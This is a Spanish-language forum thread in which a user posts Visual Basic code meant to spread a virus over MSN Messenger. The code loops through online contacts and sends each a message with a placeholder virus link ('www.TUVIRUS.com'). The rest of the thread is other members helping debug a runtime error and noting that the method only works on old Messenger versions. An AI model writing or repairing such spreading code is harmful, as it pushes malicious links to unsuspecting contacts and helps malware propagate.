Propagacion de virus MSN -> Error ...

[NsTeam]

Hola A todos

Bueno navegando por el foro encontre este tema

(No revivi ese Tema Porq Era antiguo)

lo cual vi un code lo cual lo pruebo y siempre me manda error

Código [Seleccionar] Expandir

Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
   For Each user In MsgrUIA.MyContacts
       If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
       Set venta = MsgrUIA.InstantMessage(user)
             SendKeys "www.TUVIRUS.com" 'url
             SendKeys "{ENTER}"
            SendKeys "%Z"
       End If
     Next
Set MsgrUIA = Nothing
End Sub



lo cual siempre me manda este error

Código [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger


tengo activado en reference

Código [Seleccionar] Expandir

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library

Pero Siempre me manda el mismo error


Bueno Espero Alguna Respuesta

TAlves tenga que arreglar el Code o HAcer otra Cosa =)

PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB   Salu2[/b]

[h0oke]

Haz incluido las api del msn?

[NsTeam]

Haz incluido las api del msn?

Si lo Inclui

PEro aun asi me sige dando ese error

[seba123neo]

estas seteando mal:

Código (vb) [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger

deberia ser:

Código (vb) [Seleccionar] Expandir

Set msn = New MessengerAPI.Messenger

no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...

saludos.

[NsTeam]

estas seteando mal:

Código (vb) [Seleccionar] Expandir

Set MsgrUIA = New MessengerAPI.Messenger

deberia ser:

Código (vb) [Seleccionar] Expandir

Set msn = New MessengerAPI.Messenger

no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...

saludos.

Lo Probe De la Forma que me DIjiste

Pero aun asi me siga dando ese Error

[^_^]

Si no me equivoco, se que desde que implementaron una nueva version del messenger o algo asi era, ha dejado de funcionarle a mucha gente este metodo ...

[h0oke]

Por supuesto que esto no es para LiveMsn. Es para el windows msn viejo.

[NsTeam]

mMMMMMMMMM

Yo Uso Messenger 7.5

En este Caso Funcionara¿  Mmm........

[h0oke]

Creo que todavía funcionaba para esa versión.

Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.

[NsTeam]

Creo que todavía funcionaba para esa versión.

Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.

mmmm

de echo ya declaro Todo

Pero aun ASi NAda...    NO se que hice MAl =(